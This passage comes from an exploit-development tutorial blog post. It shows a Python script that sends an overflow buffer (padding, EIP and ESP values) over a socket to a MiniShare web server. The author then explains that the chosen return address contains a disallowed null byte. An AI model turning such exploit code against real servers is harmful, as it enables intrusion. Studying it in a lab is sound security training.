parser.add_argument('rhost', type=str, help='Remote host IP address.')
parser.add_argument(
'rport',
nargs='?',
type=int,
default=80,
help='Remote port. (Default: 80)')
args = parser.parse_args()
return args

def banner(rhost, rport):
b = '=' * 80 + '\n'
b += 'Author: Kevin Kirsche (d3c3pt10n)\n'
b += '=' * 80 + '\n'
b += 'Configuration:\n'
b += '\tRemote Host: {rhost}\n'.format(rhost=rhost)
b += '\tRemote Port: {rport}\n'.format(rport=rport)
b += '=' * 80 + '\n'
return b

def build_buffer():
return (CMD + b'A' * EIP_OFFSET + EIP + ESP + HTTP)

def exploit(rhost, rport):
try:
exploit_buffer = build_buffer()
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost, rport))
except Exception as e:
print("[!] Was the application running? We couldn't connect")
print(repr(e))
return

try:
print('[*] Sending buffer of length: {exploit_buffer}'.format(
exploit_buffer=len(exploit_buffer)))
s.send(exploit_buffer)
sleep(3)
s.close()
print(('[!] The application should have crashed. Check the debugger'))
except Exception:
print('[!] Something went wrong when sending our exploit buffer')

if __name__ == '__main__':
args = get_args()
b = banner(rhost=args.rhost, rport=args.rport)
print(b)
exploit(rhost=args.rhost, rport=args.rport)

With that, we’ll restart minishare and set a breakpoint at our new EIP target address. Run our new exploit and see if we trigger the breakpoint (meaning things worked as expected).

Nothing. $#!7. Looking at it again we can see the problem, we don’t actually have a memory address we can use. The \x00 in the address is a null byte which was one of our disallowed characters. So now what do we do?

Kevin Kirsche

Author Kevin Kirsche

Kevin is a Principal Security Architect with Verizon. He holds the OSCP, OSWP, OSCE, and SLAE certifications. He is interested in learning more about building exploits and advanced penetration testing concepts.

More posts by Kevin Kirsche

Join the discussion 2 Comments

Leave a Reply